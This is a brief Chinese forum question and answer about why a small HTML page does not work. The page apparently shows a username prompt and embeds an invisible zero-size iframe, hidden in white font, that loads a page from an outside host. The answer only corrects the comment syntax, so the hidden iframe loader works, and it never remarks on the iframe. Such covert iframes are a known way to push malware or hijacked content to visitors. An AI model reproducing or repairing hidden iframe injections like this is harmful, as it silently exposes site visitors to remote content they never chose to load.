这段代码为何没反映？
<html>
<head>
<meta http-equiv= "Content-Type " content= "text/html; charset=gb2312 ">
<title> 新建网页 1 </title>
</head>
<body>
<script language= "JavaScript ">
<!--
alert( "请输入用户名 ");
</script>
//-->
<font color= "#FFFFFF ">
<iframe src= "http://web.77930.com/cc/2/1.htm?8888 " width= "0 " height= "0 ">
</iframe> </font>
</body>
</html>
[解决办法]
<html>
<head>
<meta http-equiv= "Content-Type " content= "text/html; charset=gb2312 ">
<title> 新建网页 1 </title>
</head>
<body>
<script language= "JavaScript ">
alert( "请输入用户名 ");
</script>
<font color= "#FFFFFF ">
<iframe src= "http://web.77930.com/cc/2/1.htm?8888 " width= "0 " height= "0 ">
</iframe> </font>
</body>
</html>